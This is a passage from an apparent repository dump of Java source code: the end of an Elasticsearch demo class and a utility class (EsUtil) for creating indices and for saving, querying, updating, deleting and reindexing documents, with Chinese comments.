{\n\t\t\t\tSystem.out.println(\"没有找到该文档!\");\n\t\t\t}\n\n\t\t}\n\n\t}\n\n\t/**\n\t * 索引复制\n\t * \n\t * @throws IOException\n\t */\n\tprivate static void reindex() throws IOException {\n\t\t// 创建索引复制请求并进行索引复制\n\t\tReindexRequest request = new ReindexRequest();\n\t\t// 需要复制的索引\n\t\trequest.setSourceIndices(\"user\");\n\t\t// 复制的目标索引\n\t\trequest.setDestIndex(\"dest_test\");\n\n\t\t// 表示如果在复制索引的时候有缺失的文档的话会进行创建,默认是index\n\t\trequest.setDestOpType(\"create\");\n\t\t// 如果在复制的过程中发现版本冲突，那么会继续进行复制\n\t\trequest.setConflicts(\"proceed\");\n\n\t\t// 只复制文档类型为 userindex 的数据\n\t\trequest.setSourceDocTypes(\"userindex\");\n\t\t// 只复制 pancm 用户的数据\n\t\trequest.setSourceQuery(new TermQueryBuilder(\"user\", \"pancm\"));\n\t\t// 设置复制文档的数量\n\t\trequest.setSize(10);\n\t\t// 设置一次批量处理的条数，默认是1000\n\t\trequest.setSourceBatchSize(100);\n\n\t\t// 进行排序\n//\t\trequest.addSortField(\"postDate\", SortOrder.DESC);\n\n\t\t// 指定切片大小\n\t\trequest.setSlices(2);\n\t\t\n\t\t//设置超时时间\n\t\trequest.setTimeout(TimeValue.timeValueMinutes(2));\n\t\t//允许刷新\n\t\trequest.setRefresh(true);\n\t\t\n\t\t// 同步执行\n\t\tBulkByScrollResponse bulkResponse = client.reindex(request, RequestOptions.DEFAULT);\n\n\t\t// 异步执行\n//\t\tclient.reindexAsync(request, RequestOptions.DEFAULT, listener);\n\n\t\t// 响应结果处理\n\n\t\tTimeValue timeTaken = bulkResponse.getTook();\n\t\tboolean timedOut = bulkResponse.isTimedOut();\n\t\tlong totalDocs = bulkResponse.getTotal();\n\t\tlong updatedDocs = bulkResponse.getUpdated();\n\t\tlong createdDocs = bulkResponse.getCreated();\n\t\tlong deletedDocs = bulkResponse.getDeleted();\n\t\tlong batches = bulkResponse.getBatches();\n\t\tlong noops = bulkResponse.getNoops();\n\t\tlong versionConflicts = bulkResponse.getVersionConflicts();\n\t\tlong bulkRetries = bulkResponse.getBulkRetries();\n\t\tlong searchRetries = bulkResponse.getSearchRetries();\n\t\tTimeValue throttledMillis = bulkResponse.getStatus().getThrottled();\n\t\tTimeValue throttledUntilMillis = bulkResponse.getStatus().getThrottledUntil();\n\t\tList<ScrollableHitSource.SearchFailure> searchFailures = bulkResponse.getSearchFailures();\n\t\tList<BulkItemResponse.Failure> bulkFailures = bulkResponse.getBulkFailures();\n\n\t\tSystem.out.println(\"索引复制总共花费了:\" + timeTaken.getMillis() + \" 毫秒，总条数:\" + totalDocs + \",创建数:\" + createdDocs\n\t\t\t\t+ \",更新数:\" + updatedDocs);\n\t}\n\n\t\n\n\t\n\t\n\t/**\n\t * 根据查询条件删除\n\t * @throws IOException\n\t */\n\tprivate static void deleteByQuery() throws IOException {\n\t\t//\n\t\tDeleteByQueryRequest request = new DeleteByQueryRequest(\"user\");\n\n\t\t// 设置查询条件\n\t\trequest.setQuery(new TermQueryBuilder(\"user\", \"pancm\"));\n\n\t\t// 设置复制文档的数量\n\t\trequest.setSize(10);\n\t\t// 设置一次批量处理的条数，默认是1000\n\t\trequest.setBatchSize(100);\n\t\t//设置路由\n\t\trequest.setRouting(\"=cat\");\n\t\t//设置超时时间\n\t\trequest.setTimeout(TimeValue.timeValueMinutes(2));\n\t\t//允许刷新\n\t\trequest.setRefresh(true);\n\t\t//索引选项\n\t\trequest.setIndicesOptions(IndicesOptions.LENIENT_EXPAND_OPEN);\n\t\t\n\t\t// 同步执行\n\t\tBulkByScrollResponse bulkResponse = client.deleteByQuery(request, RequestOptions.DEFAULT);\n\n\t\t// 异步执行\n//\t\tclient.updateByQueryAsync(request, RequestOptions.DEFAULT, listener); \n\n\t\t// 返回结果\n\t\tTimeValue timeTaken = bulkResponse.getTook();\n\t\tboolean timedOut = bulkResponse.isTimedOut();\n\t\tlong totalDocs = bulkResponse.getTotal();\n\t\tlong deletedDocs = bulkResponse.getDeleted();\n\t\tlong batches = bulkResponse.getBatches();\n\t\tlong noops = bulkResponse.getNoops();\n\t\tlong versionConflicts = bulkResponse.getVersionConflicts();\n\t\tlong bulkRetries = bulkResponse.getBulkRetries();\n\t\tlong searchRetries = bulkResponse.getSearchRetries();\n\t\tTimeValue throttledMillis = bulkResponse.getStatus().getThrottled();\n\t\tTimeValue throttledUntilMillis = bulkResponse.getStatus().getThrottledUntil();\n\t\tList<ScrollableHitSource.SearchFailure> searchFailures = bulkResponse.getSearchFailures();\n\t\tList<BulkItemResponse.Failure> bulkFailures = bulkResponse.getBulkFailures();\n\t\tSystem.out.println(\"查询更新总共花费了:\" + timeTaken.getMillis() + \" 毫秒，总条数:\" + totalDocs + \",删除数:\" + deletedDocs);\n\n\t}\n\t\n\t\n\t/**\n\t * 用于更改正在运行的重索引、逐查询更新或逐查询删除任务的当前节流，或完全禁用任务的节流。\n\t * @throws IOException\n\t */\n\tprivate static void rethrottleByQuery() throws IOException {\n\t\tTaskId taskId=new TaskId(\"1\");\n\t\t//用于更改正在运行的重索引、逐查询更新或逐查询删除任务的当前节流，或完全禁用任务的节流。\n\t\t//并且将请求将任务的节流更改为每秒100个请求\n\t\tRethrottleRequest request = new RethrottleRequest(taskId,100.0f);\n\n\t\t// 同步设置需要更改的流\n//\t\tclient.reindexRethrottle(request, RequestOptions.DEFAULT);       \n//\t\tclient.updateByQueryRethrottle(request, RequestOptions.DEFAULT); \n//\t\tclient.deleteByQueryRethrottle(request, RequestOptions.DEFAULT); \n\t\t\n\t\t\n\t\tActionListener<ListTasksResponse> listener = new ActionListener<ListTasksResponse>() {\n\t\t    @Override\n\t\t    public void onResponse(ListTasksResponse response) {\n\t\t        System.out.println(\"====\"+response.getTasks().toString());\n\t\t    }\n\n\t\t    @Override\n\t\t    public void onFailure(Exception e) {\n\t\t    \t System.out.println(\"====---\"+e.getMessage());\n\t\t    }\n\t\t};\n\t\t\n\t\t// 异步设置要更改的流\n\t\tclient.reindexRethrottleAsync(request, RequestOptions.DEFAULT, listener);       \n\t\tclient.updateByQueryRethrottleAsync(request, RequestOptions.DEFAULT, listener); \n\t\tclient.deleteByQueryRethrottleAsync(request, RequestOptions.DEFAULT, listener);\n\n\t\tSystem.out.println(\"已成功设置!\");\n\n\t}\n\t\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/elasticsearch/EsUtil.java",
    "content": "package com.jun.plugin.elasticsearch;\n\n\nimport org.apache.http.HttpHost;\nimport org.elasticsearch.action.admin.indices.alias.Alias;\nimport org.elasticsearch.action.admin.indices.create.CreateIndexRequest;\nimport org.elasticsearch.action.admin.indices.create.CreateIndexResponse;\nimport org.elasticsearch.action.admin.indices.get.GetIndexRequest;\nimport org.elasticsearch.action.bulk.BulkRequest;\nimport org.elasticsearch.action.bulk.BulkResponse;\nimport org.elasticsearch.action.delete.DeleteRequest;\nimport org.elasticsearch.action.get.GetRequest;\nimport org.elasticsearch.action.get.GetResponse;\nimport org.elasticsearch.action.index.IndexRequest;\nimport org.elasticsearch.action.search.SearchRequest;\nimport org.elasticsearch.action.search.SearchResponse;\nimport org.elasticsearch.action.support.IndicesOptions;\nimport org.elasticsearch.client.RequestOptions;\nimport org.elasticsearch.client.RestClient;\nimport org.elasticsearch.client.RestClientBuilder;\nimport org.elasticsearch.client.RestHighLevelClient;\nimport org.elasticsearch.common.unit.TimeValue;\nimport org.elasticsearch.common.xcontent.XContentType;\nimport org.elasticsearch.index.query.QueryBuilder;\nimport org.elasticsearch.index.query.QueryBuilders;\nimport org.elasticsearch.index.query.TermQueryBuilder;\nimport org.elasticsearch.index.reindex.BulkByScrollResponse;\nimport org.elasticsearch.index.reindex.DeleteByQueryRequest;\nimport org.elasticsearch.index.reindex.ReindexRequest;\nimport org.elasticsearch.index.reindex.UpdateByQueryRequest;\nimport org.elasticsearch.search.builder.SearchSourceBuilder;\nimport org.elasticsearch.search.sort.FieldSortBuilder;\nimport org.elasticsearch.search.sort.ScoreSortBuilder;\nimport org.elasticsearch.search.sort.SortOrder;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.io.Serializable;\nimport java.util.*;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n\n/**\n * @author pancm\n * @Title: EsUtil\n * @Description: ES的工具类\n * @Version:1.0.0\n * @date 2019年3月19日\n */\npublic final class EsUtil {\n    private static Logger logger = LoggerFactory.getLogger(EsHighLevelRestSearchTest.class);\n\n    private EsUtil() {\n\n    }\n\n\n    /**\n     * @param args\n     * @throws IOException\n     */\n    public static void main(String[] args) {\n\n        try {\n\n            EsUtil.build(\"192.169.0.23:9200\");\n            System.out.println(\"ES连接初始化成功!\");\n//            createIndexTest();\n//            System.out.println(\"ES索引库创建成功！\");\n            String index = \"student\";\n            String type = \"_doc\";\n            List<Map<String, Object>> list = new ArrayList<>();\n            for (int i = 0; i < 10; i++) {\n                Map<String, Object> map = new HashMap<>();\n                map.put(\"id\", i);\n                map.put(\"name\", \"张三\" + i);\n                map.put(\"age\", 10 + i);\n                list.add(map);\n            }\n            EsUtil.setIsAutoClose(false);\n            saveBulk(list, index, type, \"id\");\n            System.out.println(\"批量写入成功!\");\n            System.out.println(\"查询的结果1:\" + queryById(index, type, \"1\"));\n            QueryBuilder queryBuilder = new TermQueryBuilder(\"name\", \"xuwujing\");\n            System.out.println(\"更新的结果:\" + updateByQuery(index, type, queryBuilder));\n            System.out.println(\"查询的结果2:\" + queryById(index, type, \"1\"));\n            QueryBuilder queryBuilder3 = QueryBuilders.matchAllQuery();\n            System.out.println(\"查询的结果3:\" + query(index, type, queryBuilder3));\n            QueryBuilder queryBuilder4 = QueryBuilders.rangeQuery(\"age\").from(15);\n            QueryBuilder queryBuilder5 = QueryBuilders.rangeQuery(\"id\").from(5);\n            System.out.println(\"查询的结果4:\" + query(index, type, queryBuilder4,queryBuilder5));\n            EsQueryCondition esQueryCondition = new EsQueryCondition();\n            esQueryCondition.setCloseSource(true);\n            esQueryCondition.setIndex(1);\n            esQueryCondition.setPagesize(3);\n            esQueryCondition.setOrder(\"desc\");\n            esQueryCondition.setOrderField(new String[]{\"age\"});\n            String [] incStrings = new String[]{\"age\",\"name\"};\n            esQueryCondition.setIncludeFields(incStrings);\n            esQueryCondition.setExcludeFields(new String[]{\"id\"});\n            System.out.println(\"查询的结果5:\" + query(index, type,esQueryCondition, queryBuilder4));\n\n\n            // TODO:\n\n        } catch (IOException e) {\n            e.printStackTrace();\n\n        } finally {\n            // TODO: handle finally clause\n            try {\n                close();\n            } catch (IOException e) {\n                // TODO Auto-generated catch block\n                e.printStackTrace();\n            }\n        }\n    }\n\n    private static void createIndexTest() throws IOException {\n        // setting 的值\n        Map<String, Object> setmapping = new HashMap<>();\n\n        // 分区数、路由分片数、副本数、缓存刷新时间\n        setmapping.put(\"number_of_shards\", 12);\n        setmapping.put(\"number_of_routing_shards\", 24);\n        setmapping.put(\"number_of_replicas\", 1);\n        setmapping.put(\"refresh_interval\", \"5s\");\n\n        String index = \"test5\";\n        String type = \"test5\";\n        String alias = \"test\";\n\n        Map<String, Object> jsonMap2 = new HashMap<>();\n        Map<String, Object> message = new HashMap<>();\n        // 设置类型\n        message.put(\"type\", \"text\");\n        Map<String, Object> properties = new HashMap<>();\n        // 设置字段message信息\n        properties.put(\"msg\", message);\n        Map<String, Object> mapping = new HashMap<>();\n        mapping.put(\"properties\", properties);\n        jsonMap2.put(type, mapping);\n\n        String mappings = jsonMap2.toString();\n\n        EsBasicModelConfig esBasicModelConfig = new EsBasicModelConfig();\n        esBasicModelConfig.setIndex(index);\n        esBasicModelConfig.setType(type);\n        esBasicModelConfig.setMappings(mappings);\n        esBasicModelConfig.setSettings(setmapping);\n        esBasicModelConfig.setAlias(alias);\n\n        EsUtil.creatIndex(esBasicModelConfig);\n    }\n\n\n    /**\n     * 创建链接\n     *\n     * @param nodes\n     * @return\n     */\n    public static void build(String... nodes) {\n        Objects.requireNonNull(nodes, \"hosts can not null\");\n        ArrayList<HttpHost> ahosts = new ArrayList<HttpHost>();\n        for (String host : nodes) {\n            IpHandler addr = new IpHandler();\n            addr.IpPortFromUrl(host);\n            ahosts.add(new HttpHost(addr.getIp(), addr.getPort()));\n        }\n        httpHosts = ahosts.toArray(new HttpHost[0]);\n        init();\n    }\n\n\n    /**\n     * @return boolean\n     * @Author pancm\n     * @Description //创建索引库(指定Mpping类型)\n     * @Date 2019/3/21\n     * @Param [esBasicModelConfig]\n     **/\n    public static boolean creatIndex(EsBasicModelConfig esBasicModelConfig) throws IOException {\n        boolean falg = true;\n        Objects.requireNonNull(esBasicModelConfig, \"esBasicModelConfig is not null\");\n        String type = Objects.requireNonNull(esBasicModelConfig.getType(), \"type is not null\");\n        String index = Objects.requireNonNull(esBasicModelConfig.getIndex(), \"index is not null\");\n        if (exitsIndex(index)) {\n            logger.warn(\"索引库{}已经存在!无需在进行创建!\", index);\n            return true;\n        }\n        String mapping = esBasicModelConfig.getMappings();\n        Map<String, Object> setting = esBasicModelConfig.getSettings();\n        String alias = esBasicModelConfig.getAlias();\n        // 开始创建库\n        CreateIndexRequest request = new CreateIndexRequest(index);\n        try {\n            if (Objects.nonNull(mapping)) {\n                // 加载数据类型\n                request.mapping(type, mapping);\n            }\n            if (Objects.nonNull(setting)) {\n                // 分片数\n                request.settings(setting);\n            }\n            if (Objects.nonNull(alias)) {\n                // 别名\n                request.alias(new Alias(alias));\n            }\n\n            CreateIndexResponse createIndexResponse = client.indices().create(request, RequestOptions.DEFAULT);\n            falg = createIndexResponse.isAcknowledged();\n        } catch (IOException e) {\n            throw e;\n        } finally {\n            if (isAutoClose) {\n                close();\n            }\n        }\n        return falg;\n\n    }\n\n\n    /**\n     * 判断索引库是否存在\n     *\n     * @param index\n     * @return\n     * @throws IOException\n     */\n    public static boolean exitsIndex(String index) throws IOException {\n        try {\n            GetIndexRequest getRequest = new GetIndexRequest();\n            getRequest.indices(index);\n            getRequest.local(false);\n            getRequest.humanReadable(true);\n            return client.indices().exists(getRequest, RequestOptions.DEFAULT);\n        } finally {\n            if (isAutoClose) {\n                close();\n            }\n        }\n    }\n\n\n    /**\n     * @return boolean\n     * @Author pancm\n     * @Description 单条新增/更新数据\n     * @Date 2019/6/5\n     * @Param [mapList, index, type]\n     **/\n    public static boolean save(Map<String, Object> map, String index, String type) throws IOException {\n        List<Map<String, Object>> mapList = new ArrayList<>();\n        mapList.add(map);\n        return saveBulk(mapList, index, type, null);\n    }\n\n    /**\n     * @return boolean\n     * @Author pancm\n     * @Description 批量新增/更新数据\n     * @Date 2019/6/5\n     * @Param [mapList, index, type]\n     **/\n    public static boolean saveBulk(List<Map<String, Object>> mapList, String index, String type) throws IOException {\n        return saveBulk(mapList, index, type, null);\n    }\n\n    /**\n     * @return boolean\n     * @Author pancm\n     * @Description 批量新增/更新数据\n     * @Date 2019/3/21\n     * @Param [mapList:存储参数, index:索引库名, type:索引库类型,key:存储的主键，为空表示使用ES主键]\n     **/\n    public static boolean saveBulk(List<Map<String, Object>> mapList, String index, String type, String key) throws IOException {\n\n        if (mapList == null || mapList.size() == 0) {\n            return true;\n        }\n        if (index == null || index.trim().length() == 0 || type == null || type.trim().length() == 0) {\n            return false;\n        }\n        try {\n            BulkRequest request = new BulkRequest();\n            mapList.forEach(map -> {\n                if (key != null) {\n                    String id = map.get(key) + \"\";\n                    if (id == null || id.trim().length() == 0) {\n                        request.add(new IndexRequest(index, type).source(map, XContentType.JSON));\n                    } else {\n                        request.add(new IndexRequest(index, type, id).source(map, XContentType.JSON));\n                    }\n                } else {\n                    request.add(new IndexRequest(index, type).source(map, XContentType.JSON));\n                }\n            });\n\n            BulkResponse bulkResponse = client.bulk(request, RequestOptions.DEFAULT);\n            //说明至少有一个失败了，这里就直接返回false\n            if (bulkResponse.hasFailures()) {\n                return false;\n            }\n\n            return true;\n        } finally {\n            if (isAutoClose) {\n                close();\n            }\n        }\n    }\n\n\n    /**\n     * @return boolean\n     * @Author pancm\n     * @Description //删除数据\n     * 根据ID进行单条删除\n     * @Date 2019/3/21\n     * @Param []\n     **/\n    public static boolean deleteById(String index, String type, String id) throws IOException {\n        if (index == null || type == null || id == null) {\n            return true;\n        }\n        try {\n            DeleteRequest deleteRequest = new DeleteRequest();\n            deleteRequest.id(id);\n            deleteRequest.index(index);\n            deleteRequest.type(type);\n            // 同步删除\n            client.delete(deleteRequest, RequestOptions.DEFAULT);\n        } finally {\n            if (isAutoClose) {\n                close();\n            }\n        }\n        return true;\n    }\n\n\n    /**\n     * @return boolean\n     * @Author pancm\n     * @Description //批量删除数据\n     * 根据ID进行批量删除\n     * @Date 2019/3/21\n     * @Param []\n     **/\n    public static boolean deleteByIds(String index, String type, Set<String> ids) throws IOException {\n        if (index == null || type == null || ids == null) {\n            return true;\n        }\n        try {\n            BulkRequest requestBulk = new BulkRequest();\n            ids.forEach(id -> {\n                DeleteRequest deleteRequest = new DeleteRequest(index, type, id);\n                requestBulk.add(deleteRequest);\n            });\n            // 同步删除\n            client.bulk(requestBulk, RequestOptions.DEFAULT);\n        } finally {\n            if (isAutoClose) {\n                close();\n            }\n        }\n        return false;\n    }\n\n    /**\n     * @return boolean\n     * @Author pancm\n     * @Description 根据id查询\n     * @Date 2019/3/21\n     * @Param []\n     **/\n    public static Map<String, Object> queryById(String index, String type, String id) throws IOException {\n        if (index == null || type == null) {\n            return null;\n        }\n        Map<String, Object> map = new HashMap<>();\n        try {\n            GetRequest request = new GetRequest();\n            request.index(index);\n            request.type(type);\n            request.id(id);\n            GetResponse getResponse = client.get(request, RequestOptions.DEFAULT);\n            // 如果存在该数据则返回对应的结果\n            if (getResponse.isExists()) {\n                map = getResponse.getSourceAsMap();\n            }\n        } finally {\n            if (isAutoClose) {\n                close();\n            }\n        }\n        return map;\n    }\n\n\n    public static List<Map<String, Object>> query(String index, String type, QueryBuilder... queryBuilders) throws IOException {\n        return query(index, type, null , queryBuilders);\n    }\n\n    /**\n     * @return boolean\n     * @Author pancm\n     * @Description 根据条件查询\n     * @Date 2019/3/21\n     * @Param []\n     **/\n    public static List<Map<String, Object>> query(String index, String type, EsQueryCondition esQueryCondition, QueryBuilder... queryBuilders) throws IOException {\n        if (index == null || type == null) {\n            return null;\n        }\n        List<Map<String, Object>> list = new ArrayList<>();\n        try {\n            // 查询指定的索引库\n            SearchRequest searchRequest = new SearchRequest(index);\n            searchRequest.types(type);\n            SearchSourceBuilder sourceBuilder = new SearchSourceBuilder();\n\n            if (esQueryCondition != null) {\n                Integer form = esQueryCondition.getIndex();\n                Integer pagesize = esQueryCondition.getPagesize();\n                if (form != null && form > 0 && pagesize != null && pagesize > 0) {\n                    form = (form - 1) * pagesize;\n                    pagesize = form + pagesize;\n                    // 设置起止和结束\n                    sourceBuilder.from(form);\n                    sourceBuilder.size(pagesize);\n                }\n                String routing = esQueryCondition.getRouting();\n                if (routing != null && routing.length() > 0) {\n                    // 设置路由\n                    searchRequest.routing(routing);\n                }\n\n                // 设置索引库表达式\n                searchRequest.indicesOptions(IndicesOptions.lenientExpandOpen());\n\n                //设置排序\n                String order = esQueryCondition.getOrder();\n                if (order != null) {\n                    String[] orderField = esQueryCondition.getOrderField();\n                    SortOrder order2 = order.equals(SortOrder.DESC) ? SortOrder.DESC : SortOrder.ASC;\n                    //如果设置了排序字段则用排序的字段进行排序，否则就默认排序\n                    if (orderField != null) {\n                        for (String field : orderField) {\n                            sourceBuilder.sort(new FieldSortBuilder(field).order(order2));\n                        }\n                    } else {\n                        sourceBuilder.sort(new ScoreSortBuilder().order(order2));\n                    }\n                }\n                String[] includeFields = esQueryCondition.getIncludeFields();\n                String[] excludeFields = esQueryCondition.getExcludeFields();\n                if (includeFields != null && includeFields.length > 0 && excludeFields != null && excludeFields.length > 0) {\n                    sourceBuilder.fetchSource(includeFields, excludeFields);\n                }\n                sourceBuilder.fetchSource(esQueryCondition.isCloseSource());\n            }\n            //设置条件\n            if (queryBuilders != null) {\n                for (QueryBuilder queryBuilder : queryBuilders) {\n                    sourceBuilder.query(queryBuilder);\n                }\n            }\n\n            searchRequest.source(sourceBuilder);\n            // 同步查询\n            SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);\n\n            if(queryBuilders != null|| (esQueryCondition != null && esQueryCondition.isQueryData())){\n                // 结果\n                searchResponse.getHits().forEach(hit -> {\n                    Map<String, Object> map = hit.getSourceAsMap();\n                    list.add(map);\n                });\n            }\n\n              if(esQueryCondition != null && esQueryCondition.isNeedTotal()){\n                  Map<String, Object> mapTotal = new HashMap<>();\n                  mapTotal.put(\"total\", searchResponse.getHits().getTotalHits());\n                  list.add(mapTotal);\n              }\n\n        } finally {\n            if (isAutoClose) {\n                close();\n            }\n        }\n        return list;\n    }\n\n\n    /**\n     * @return boolean\n     * @Author pancm\n     * @Description 根据条件更新\n     * @Date 2019/3/21\n     * @Param []\n     **/\n    public static Map<String, Object> updateByQuery(String index, String type, QueryBuilder... queryBuilders) throws IOException {\n        if (index == null || type == null) {\n            return null;\n        }\n        Map<String, Object> map = new HashMap<>();\n        try {\n            UpdateByQueryRequest request = new UpdateByQueryRequest();\n            request.indices(index);\n            request.setDocTypes(type);\n\n            if (queryBuilders != null) {\n                for (QueryBuilder queryBuilder : queryBuilders) {\n                    request.setQuery(queryBuilder);\n                }\n            }\n            // 同步执行\n            BulkByScrollResponse bulkResponse = client.updateByQuery(request, RequestOptions.DEFAULT);\n\n            // 响应结果处理\n            map.put(\"time\", bulkResponse.getTook().getMillis());\n            map.put(\"total\", bulkResponse.getTotal());\n\n        } finally {\n            if (isAutoClose) {\n                close();\n            }\n        }\n        return map;\n    }\n\n    /**\n     * @return Map\n     * @Author pancm\n     * @Description //根据条件删除数据\n     * @Date 2019/3/21\n     * @Param []\n     **/\n    public static Map<String, Object> deleteByQuery(String index, String type, QueryBuilder[] queryBuilders) throws IOException {\n        if (index == null || type == null || queryBuilders == null) {\n            return null;\n        }\n        Map<String, Object> map = new HashMap<>();\n        try {\n            DeleteByQueryRequest request = new DeleteByQueryRequest(index, type);\n            if (queryBuilders != null) {\n                for (QueryBuilder queryBuilder : queryBuilders) {\n                    request.setQuery(queryBuilder);\n                }\n            }\n            // 同步执行\n            BulkByScrollResponse bulkResponse = client.deleteByQuery(request, RequestOptions.DEFAULT);\n            // 响应结果处理\n            map.put(\"time\", bulkResponse.getTook().getMillis());\n            map.put(\"total\", bulkResponse.getTotal());\n\n        } finally {\n            if (isAutoClose) {\n                close();\n            }\n        }\n        return map;\n    }\n\n\n    /**\n     * @return Map\n     * @Author pancm\n     * @Description //重索引\n     * @Date 2019/3/21\n     * @Param []\n     **/\n    public static Map<String, Object> reindexByQuery(String index, String destIndex, QueryBuilder[] queryBuilders) throws IOException {\n        if (index == null || destIndex == null) {\n            return null;\n        }\n        Map<String, Object> map = new HashMap<>();\n        try {\n            // 创建索引复制请求并进行索引复制\n            ReindexRequest request = new ReindexRequest();\n            // 需要复制的索引\n            request.setSourceIndices(index);\n            /* 复制的目标索引 */\n            request.setDestIndex(destIndex);\n            if (queryBuilders != null) {\n                for (QueryBuilder queryBuilder : queryBuilders) {\n                    request.setSourceQuery(queryBuilder);\n                }\n            }\n            // 表示如果在复制索引的时候有缺失的文档的话会进行创建,默认是index\n            request.setDestOpType(\"create\");\n            // 如果在复制的过程中发现版本冲突，那么会继续进行复制\n            request.setConflicts(\"proceed\");\n\n\n            // 设置复制文档的数量\n            // request.setSize(10);\n            // 设置一次批量处理的条数，默认是1000\n            //   request.setSourceBatchSize(10000);\n\n            //设置超时时间\n            request.setTimeout(TimeValue.timeValueMinutes(2));\n            // 同步执行\n            BulkByScrollResponse bulkResponse = client.reindex(request, RequestOptions.DEFAULT);\n\n            // 响应结果处理\n            map.put(\"time\", bulkResponse.getTook().getMillis());\n            map.put(\"total\", bulkResponse.getTotal());\n            map.put(\"createdDocs\", bulkResponse.getCreated());\n            map.put(\"updatedDocs\", bulkResponse.getUpdated());\n\n        } finally {\n            if (isAutoClose) {\n                close();\n            }\n        }\n        return map;\n    }\n\n\n    /*\n     * 初始化服务\n     */\n    private static void init() {\n        if (client == null) {\n            synchronized (EsUtil.class) {\n                if (client == null) {\n                    RestClientBuilder restClientBuilder = RestClient.builder(httpHosts);\n                    client = new RestHighLevelClient(restClientBuilder);\n                }\n            }\n        }\n\n    }\n\n    /*\n     * 关闭服务\n     */\n    private static void close() throws IOException {\n        if (client != null) {\n            try {\n                client.close();\n                setIsAutoClose(true);\n            } catch (IOException e) {\n                throw e;\n            }\n        }\n    }\n\n    public static boolean isIsAutoClose() {\n        return isAutoClose;\n    }\n\n    public static void setIsAutoClose(boolean isAutoClose) {\n        EsUtil.isAutoClose = isAutoClose;\n    }\n\n\n    private static String[] elasticIps;\n    private static int elasticPort;\n    private static HttpHost[] httpHosts;\n    private static volatile RestHighLevelClient client = null;\n    /**\n     * 是否自动关闭连接\n     */\n    private static boolean isAutoClose = true;\n\n    private static final String COMMA_SIGN = \",\";\n\n\n}\n\n/**\n * @Author pancm\n * @Description 查询条件的类\n * @Date 2019/6/19\n * @Param\n * @return\n **/\nclass EsQueryCondition implements Serializable {\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 下标和条数  都为null或小于0表示不分页\n     */\n    private Integer index;\n    private Integer pagesize;\n\n    /**\n     * 排序规则 asc:升序，desc:降序，为空表示不排序\n     */\n    private String order;\n    /**\n     * 排序字段\n     */\n    private String[] orderField;\n\n    /**\n     * 路由 为空表示不设置\n     */\n    private String routing;\n\n    /**\n     * 返回的字段\n     */\n    private String[] includeFields;\n    /**\n     * 排除的字段\n     */\n    private String[] excludeFields;\n\n    /**\n     * 是否关闭source查询\n     */\n    private boolean isCloseSource;\n\n    /**  是否需要查询数据 */\n    private boolean isQueryData = true;\n\n    /** 是否需要 返回总数 */\n    private boolean isNeedTotal = true;\n\n\n    public boolean isQueryData() {\n        return isQueryData;\n    }\n\n    public void setQueryData(boolean queryData) {\n        isQueryData = queryData;\n    }\n\n    public boolean isNeedTotal() {\n        return isNeedTotal;\n    }\n\n    public void setNeedTotal(boolean needTotal) {\n        isNeedTotal = needTotal;\n    }\n\n    public boolean isCloseSource() {\n        return isCloseSource;\n    }\n\n    public void setCloseSource(boolean closeSource) {\n        isCloseSource = closeSource;\n    }\n\n    public String[] getIncludeFields() {\n        return includeFields;\n    }\n\n    public void setIncludeFields(String[] includeFields) {\n        this.includeFields = includeFields;\n    }\n\n    public String[] getExcludeFields() {\n        return excludeFields;\n    }\n\n    public void setExcludeFields(String[] excludeFields) {\n        this.excludeFields = excludeFields;\n    }\n\n    public Integer getIndex() {\n        return index;\n    }\n\n    public void setIndex(Integer index) {\n        this.index = index;\n    }\n\n    public Integer getPagesize() {\n        return pagesize;\n    }\n\n    public void setPagesize(Integer pagesize) {\n        this.pagesize = pagesize;\n    }\n\n    public String getOrder() {\n        return order;\n    }\n\n    public void setOrder(String order) {\n        this.order = order;\n    }\n\n    public String getRouting() {\n        return routing;\n    }\n\n    public void setRouting(String routing) {\n        this.routing = routing;\n    }\n\n    public String[] getOrderField() {\n        return orderField;\n    }\n\n    public void setOrderField(String[] orderField) {\n        this.orderField = orderField;\n    }\n}\n\n\n/*\n * ES的mapping创建的基础类\n */\nclass EsBasicModelConfig implements Serializable {\n    private static final long serialVersionUID = 1L;\n    /*** 索引库 ***/\n    private String index;\n    private String type;\n    private Map<String, Object> settings;\n    private String mappings;\n    private String alias;\n\n    public EsBasicModelConfig() {\n    }\n\n    public EsBasicModelConfig(String index, String type) {\n        this.index = index;\n        this.type = type;\n    }\n\n    public String getIndex() {\n        return index;\n    }\n\n    public void setIndex(String index) {\n        this.index = index;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public Map<String, Object> getSettings() {\n        return settings;\n    }\n\n    public void setSettings(Map<String, Object> settings) {\n        this.settings = settings;\n    }\n\n    public void setSettings(SettingEntity settings) {\n        this.settings = Objects.requireNonNull(settings, \"setting can not null\").toDSL();\n    }\n\n    public String getMappings() {\n        return mappings;\n    }\n\n    public void setMappings(String mappings) {\n        this.mappings = mappings;\n    }\n\n    public String getAlias() {\n        return alias;\n    }\n\n    public void setAlias(String alias) {\n        this.alias = alias;\n    }\n\n    @Override\n    public String toString() {\n        return \"EsBasicModelConfig [index=\" + index + \", type=\" + type + \", settings=\" + settings + \", mappings=\"\n                + mappings + \"]\";\n    }\n\n}\n\n/*\n * setting 实体类的配置\n */\nclass SettingEntity implements Serializable {\n    /**\n     * @Fields serialVersionUID : TODO\n     */\n    private static final long serialVersionUID = 1L;\n    // 默认分片数\n    private int numberOfShards = 5;\n    // 分片路由数\n    private int number_of_routing_shards = 30;\n    // 副本数\n    private int numberOfReplicas = 1;\n    /***** 刷新频率 单位:秒 *********/\n    private int refreshInterval = 5;\n    /**\n     * 查询最大返回的时间\n     */\n    private int maxResultWindow = 10000;\n\n    public SettingEntity(int numberOfShards, int numberOfReplicas, int refreshInterval) {\n        this.numberOfShards = numberOfShards;\n        this.numberOfReplicas = numberOfReplicas;\n        this.refreshInterval = refreshInterval;\n    }\n\n    public SettingEntity(int numberOfShards, int numberOfReplicas, int refreshInterval, int number_of_routing_shards,\n                         int maxResultWindow, String alias) {\n        this.numberOfShards = numberOfShards;\n        this.numberOfReplicas = numberOfReplicas;\n        this.refreshInterval = refreshInterval;\n        this.number_of_routing_shards = number_of_routing_shards;\n        this.maxResultWindow = maxResultWindow;\n    }\n\n    public SettingEntity() {\n\n    